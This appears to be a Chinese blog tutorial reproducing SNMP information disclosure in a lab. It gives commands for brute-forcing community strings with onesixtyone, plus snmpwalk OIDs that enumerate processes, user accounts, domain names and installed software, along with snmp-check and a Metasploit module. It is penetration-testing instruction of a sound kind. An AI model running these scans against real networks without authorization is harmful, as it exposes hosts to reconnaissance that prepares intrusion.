SNMP信息泄露可读指令

snmp信息泄露可读指令

SNMP(简单网络管理协议):该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。目前共有 V1、V2、V3 三个版本,应用比较广泛的还是前两个版本,同时存在安全问题也较多。PS:本次复现宿主机snmp端口未开启,也可以进行信息读取

复现准备

复现需要一台windows server打开snmp服务 参考https://www.xxshell.com/946.html
一台kali作为攻击机

SNMP扫描工具onesixtyone

参数:

  • -c 文件与社区名称的尝试
    -i 文件与目标主机
    -o 输出日志
    -p 指定一个备用的SNMP目的端口
    -d 调试模式,使用两次获取更多信息
    -s short模式,只打印IP地址
    -w n等待n毫秒(1/1000秒)发送数据包(默认10)

首先在你不知道团体社区名称 可使用onesixtyone字典对宿主机进行团体社区爆破,

dpkg  -L onesixtyone 

在这里插入图片描述
然后使用onesixtyone进行爆破

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt  192.168.23.154  -o 123.log -w  100 

在这里插入图片描述当然也支持批量爆破

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt  -i 1.txt -o 123.log -w  100  

snmpwalk获取信息

snmp 服务器的默认密码为 public

-v: 指定SNMP协议版本 有1|2c|3 一般使用2c
-c: 密钥 指定连接设备SNMP读密码

snmpwalk 192.168.23.154 -c public -v 2c

获取ip信息

snmpwalk 192.168.23.154 -c public -v 2c  .1.3.6.1.2.1.4.20  

获取内存信息

snmpwalk 192.168.23.154 -c public -v 2c  .1.3.6.1.2.1.25.2.2   

当前进程列表

 .1.3.6.1.2.1.25.4.2.1.2

系统用户列表

 .1.3.6.1.4.1.77.1.2.25.1.1

列 出 域 名

.1.3.6.1.4.1.77.1.4.1.0

列出安装软件

.1.3.6.1.2.1.25.6.3.1.2

列出系统信息

 .1.3.6.1.2.1.1

SNMP扫描工具snmp-check

获取信息,比较全

snmp-check 192.168.23.154 -c public -v 2c

参数:
-p——port: SNMP端口。默认端口为161;
-c——community: SNMP团体字。默认是公开的;
-v——version: SNMP版本号(1,2c)。默认是1;
-w——write:检测写访问(通过枚举分离操作);
-d——disable_tcp:禁用TCP连接枚举!
-t——timeout:超时时间。默认是5;
-r——retries:请求重试。默认是1;
-i——info:显示脚本版本;
-h——help:显示帮助菜单;

Msf获取信息

auxiliary/scanner/snmp/snmp_enum
作用:获取到community 如果有可读权限可以使用这个模块读取系统信息
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值